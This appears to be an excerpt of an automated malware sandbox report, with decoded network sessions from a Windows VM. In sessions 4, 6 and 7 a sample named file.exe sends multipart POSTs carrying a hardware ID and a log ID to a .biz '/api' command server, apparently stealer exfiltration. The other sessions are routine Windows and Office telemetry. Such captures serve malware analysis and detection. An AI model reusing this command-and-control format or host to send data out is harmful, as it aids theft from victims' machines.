nvkymdGk79U8mH+BYzFeHw64wwcJVfnmyMyGgE1GjUQRsz+MX+90GD2Z/4H84hkKnegMQkcecnLCCUUT1kCdgU45Il4K+PSVLUpvQC+2m5sLPYfXCVX55sjMhoBKBA8Cm3x2SdGk79U8mH+BZjyPls54xwVHCmEyTxiQQM0Dz8Me7DsGjqchEX1f/oH84hwKnegEQkcecnFIzgeAwZTIVxuspFzNu2ABq0xukmwyX9kLPIOHRh/yc4aHDZIGA01

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49708	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:05 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 79 50 47 6f 53 36 6a 68 37 55 47 6f 7a 47 5a 6c 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 66 34 34 62 38 33 37 31 62 39 63 66 63 63 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: yPGoS6jh7UGozGZl.1Context: 4f44b8371b9cfccf
2024-11-30 03:12:05 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-30 03:12:05 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 79 50 47 6f 53 36 6a 68 37 55 47 6f 7a 47 5a 6c 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 66 34 34 62 38 33 37 31 62 39 63 66 63 63 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 64 4d 74 43 50 4f 37 76 2f 5a 2f 32 67 72 76 5a 55 51 76 4e 64 64 73 4b 34 55 4c 79 4b 72 56 67 58 53 4b 69 35 47 65 67 73 50 49 72 66 5a 69 69 32 6f 78 63 78 30 68 4c 39 41 43 4c 47 32 50 53 61 70 54 48 44 62 63 74 4d 48 32 42 51 30 51 77 6e 6c 6e 50 62 2f 63 51 72 45 49 57 44 65 32 42 62 46 73 55 6b 4e 46 6f 43 49 6b 50 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: yPGoS6jh7UGozGZl.2Context: 4f44b8371b9cfccf<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUdMtCPO7v/Z/2grvZUQvNddsK4ULyKrVgXSKi5GegsPIrfZii2oxcx0hL9ACLG2PSapTHDbctMH2BQ0QwnlnPb/cQrEIWDe2BbFsUkNFoCIkP
2024-11-30 03:12:05 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 79 50 47 6f 53 36 6a 68 37 55 47 6f 7a 47 5a 6c 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 66 34 34 62 38 33 37 31 62 39 63 66 63 63 66 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: yPGoS6jh7UGozGZl.3Context: 4f44b8371b9cfccf
2024-11-30 03:12:05 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-30 03:12:05 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 78 72 65 4e 2b 39 68 69 4a 45 61 4a 55 55 6b 39 62 68 39 55 6b 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: xreN+9hiJEaJUUk9bh9Ukw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49711	104.21.16.9	443	4344	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:07 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UQ1EZX7JH8TJS22M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12853 Host: atten-supporse.biz
2024-11-30 03:12:07 UTC	12853	OUT	Data Raw: 2d 2d 55 51 31 45 5a 58 37 4a 48 38 54 4a 53 32 32 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 30 44 46 43 36 43 33 38 34 34 46 35 38 46 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 55 51 31 45 5a 58 37 4a 48 38 54 4a 53 32 32 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 51 31 45 5a 58 37 4a 48 38 54 4a 53 32 32 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --UQ1EZX7JH8TJS22MContent-Disposition: form-data; name="hwid"A30DFC6C3844F58FEFA3D63B69E7CA14--UQ1EZX7JH8TJS22MContent-Disposition: form-data; name="pid"2--UQ1EZX7JH8TJS22MContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-30 03:12:08 UTC	1022	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=si2mpe7cahpggh94gubcu6s18q; expires=Tue, 25-Mar-2025 20:58:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Zm8Sy3Dg3mxGfWqMYygIt%2BBWrRr7xnsvniQIeQjIgY2VOQShxCMNSU885a19YRH7%2Fgi%2Ft6BldFWof1tCWEX5naAJX84%2FI3vQmJqnqwvbUjkivXRgdHD%2BPWyvKZsvmhJ2SMTFNI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea7a76f0cc643a4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1812&min_rtt=1797&rtt_var=685&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13793&delivery_rate=1624930&cwnd=229&unsent_bytes=0&cid=50c2c75582c9e983&ts=979&x=0"
2024-11-30 03:12:08 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-30 03:12:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49710	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:07 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 62 52 65 48 41 59 38 74 62 30 75 61 57 6f 5a 51 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 32 33 38 38 31 39 66 39 35 64 32 37 62 63 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: bReHAY8tb0uaWoZQ.1Context: 6238819f95d27bc0
2024-11-30 03:12:07 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-30 03:12:07 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 62 52 65 48 41 59 38 74 62 30 75 61 57 6f 5a 51 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 32 33 38 38 31 39 66 39 35 64 32 37 62 63 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 64 4d 74 43 50 4f 37 76 2f 5a 2f 32 67 72 76 5a 55 51 76 4e 64 64 73 4b 34 55 4c 79 4b 72 56 67 58 53 4b 69 35 47 65 67 73 50 49 72 66 5a 69 69 32 6f 78 63 78 30 68 4c 39 41 43 4c 47 32 50 53 61 70 54 48 44 62 63 74 4d 48 32 42 51 30 51 77 6e 6c 6e 50 62 2f 63 51 72 45 49 57 44 65 32 42 62 46 73 55 6b 4e 46 6f 43 49 6b 50 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: bReHAY8tb0uaWoZQ.2Context: 6238819f95d27bc0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUdMtCPO7v/Z/2grvZUQvNddsK4ULyKrVgXSKi5GegsPIrfZii2oxcx0hL9ACLG2PSapTHDbctMH2BQ0QwnlnPb/cQrEIWDe2BbFsUkNFoCIkP
2024-11-30 03:12:07 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 62 52 65 48 41 59 38 74 62 30 75 61 57 6f 5a 51 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 32 33 38 38 31 39 66 39 35 64 32 37 62 63 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: bReHAY8tb0uaWoZQ.3Context: 6238819f95d27bc0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-30 03:12:08 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-30 03:12:08 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4d 78 6c 6e 63 57 4b 34 79 55 4f 4c 74 46 43 78 7a 73 72 52 58 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: MxlncWK4yUOLtFCxzsrRXQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49712	104.21.16.9	443	4344	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:09 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2B25RYP4YLOCQSHRS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15105 Host: atten-supporse.biz
2024-11-30 03:12:09 UTC	15105	OUT	Data Raw: 2d 2d 32 42 32 35 52 59 50 34 59 4c 4f 43 51 53 48 52 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 30 44 46 43 36 43 33 38 34 34 46 35 38 46 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 32 42 32 35 52 59 50 34 59 4c 4f 43 51 53 48 52 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 42 32 35 52 59 50 34 59 4c 4f 43 51 53 48 52 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --2B25RYP4YLOCQSHRSContent-Disposition: form-data; name="hwid"A30DFC6C3844F58FEFA3D63B69E7CA14--2B25RYP4YLOCQSHRSContent-Disposition: form-data; name="pid"2--2B25RYP4YLOCQSHRSContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-30 03:12:10 UTC	1023	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=16t7n2hsd7ie2k209ooc19q1is; expires=Tue, 25-Mar-2025 20:58:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7YbV%2FTbKSTLTcj29tfLmFFHEmV%2FiqqnUu2zSRjV%2Be9Z1Y29Q7l4rOgIFwbpSZVwF%2FIeh963855EZHxkqvodJG8OfFEOPbqqW%2Fl3cWSMPDRhy3l32dVERuqyxo65WdQLCbuVags8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea7a77e3f1cc43b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1703&min_rtt=1692&rtt_var=656&sent=11&recv=20&lost=0&retrans=0&sent_bytes=2847&recv_bytes=16046&delivery_rate=1639528&cwnd=187&unsent_bytes=0&cid=6bcf7299d7dd2b86&ts=975&x=0"
2024-11-30 03:12:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-30 03:12:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49713	104.21.16.9	443	4344	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:12 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BA52KS4CK75N User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19933 Host: atten-supporse.biz
2024-11-30 03:12:12 UTC	15331	OUT	Data Raw: 2d 2d 42 41 35 32 4b 53 34 43 4b 37 35 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 30 44 46 43 36 43 33 38 34 34 46 35 38 46 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 42 41 35 32 4b 53 34 43 4b 37 35 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 41 35 32 4b 53 34 43 4b 37 35 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 42 41 35 32 4b 53 34 43 Data Ascii: --BA52KS4CK75NContent-Disposition: form-data; name="hwid"A30DFC6C3844F58FEFA3D63B69E7CA14--BA52KS4CK75NContent-Disposition: form-data; name="pid"3--BA52KS4CK75NContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--BA52KS4C
2024-11-30 03:12:12 UTC	4602	OUT	Data Raw: 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: +?2+?2+?o?Mp5p_oI
2024-11-30 03:12:13 UTC	1031	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ar5of7o6oh5sislhatbi0d5kab; expires=Tue, 25-Mar-2025 20:58:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PetP2JAO%2BdZkK%2BVkbNUF%2FnqeGCDSe9xWSgTrAFXcKODwMY%2FyvP%2BvjB5hvyEHar%2B7exV2i7mL9nxjEwNHVHeOVRuRmV%2FovjgPZOdQZerV0Po%2FuVGxv%2BfeuhrDtFOOnyvBqAW8t20%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea7a78e8b63429a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2390&min_rtt=2383&rtt_var=909&sent=9&recv=22&lost=0&retrans=0&sent_bytes=2846&recv_bytes=20891&delivery_rate=1193785&cwnd=237&unsent_bytes=0&cid=d5d9c85c597af68b&ts=1017&x=0"
2024-11-30 03:12:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-30 03:12:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:13 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:14 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:14 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 27 Nov 2024 15:11:14 GMT ETag: "0x8DD0EF5BC53602D" x-ms-request-id: a5a19dc6-401e-008c-1dff-4086c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031214Z-174f7845968pght8hC1EWRyvxg0000000430000000000ycv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:14 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-30 03:12:14 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-30 03:12:14 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
